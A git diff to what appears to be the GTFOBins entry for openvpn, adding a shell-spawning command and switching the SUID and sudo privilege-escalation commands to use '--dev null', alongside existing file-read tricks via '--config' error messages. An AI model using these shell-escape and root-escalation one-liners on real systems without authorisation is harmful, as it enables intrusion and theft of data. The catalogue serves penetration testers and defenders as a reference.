diff --git a/_gtfobins/openvpn.md b/_gtfobins/openvpn.md
index aa02ad2..9f959e3 100644
--- a/_gtfobins/openvpn.md
+++ b/_gtfobins/openvpn.md
@@ -1,5 +1,8 @@
 ---
 functions:
+  shell:
+    - code: |
+        openvpn --dev null --script-security 2 --up '/bin/sh -c sh'
   file-read:
     - description: The file is actually parsed and the first partial wrong line is returned in an error message.
       code: |
@@ -7,14 +10,14 @@ functions:
         openvpn --config "$LFILE"
   suid:
     - code: |
-        ./openvpn --dev tun0 --script-security 2 --up '/bin/sh -p -c "sh -p"'
+        ./openvpn --dev null --script-security 2 --up '/bin/sh -p -c "sh -p"'
     - description: The file is actually parsed and the first partial wrong line is returned in an error message.
       code: |
         LFILE=file_to_read
         ./openvpn --config "$LFILE"
   sudo:
     - code: |
-        sudo openvpn --dev tun0 --script-security 2 --up '/bin/sh -c sh'
+        sudo openvpn --dev null --script-security 2 --up '/bin/sh -c sh'
     - description: The file is actually parsed and the first partial wrong line is returned in an error message.
       code: |
         LFILE=file_to_read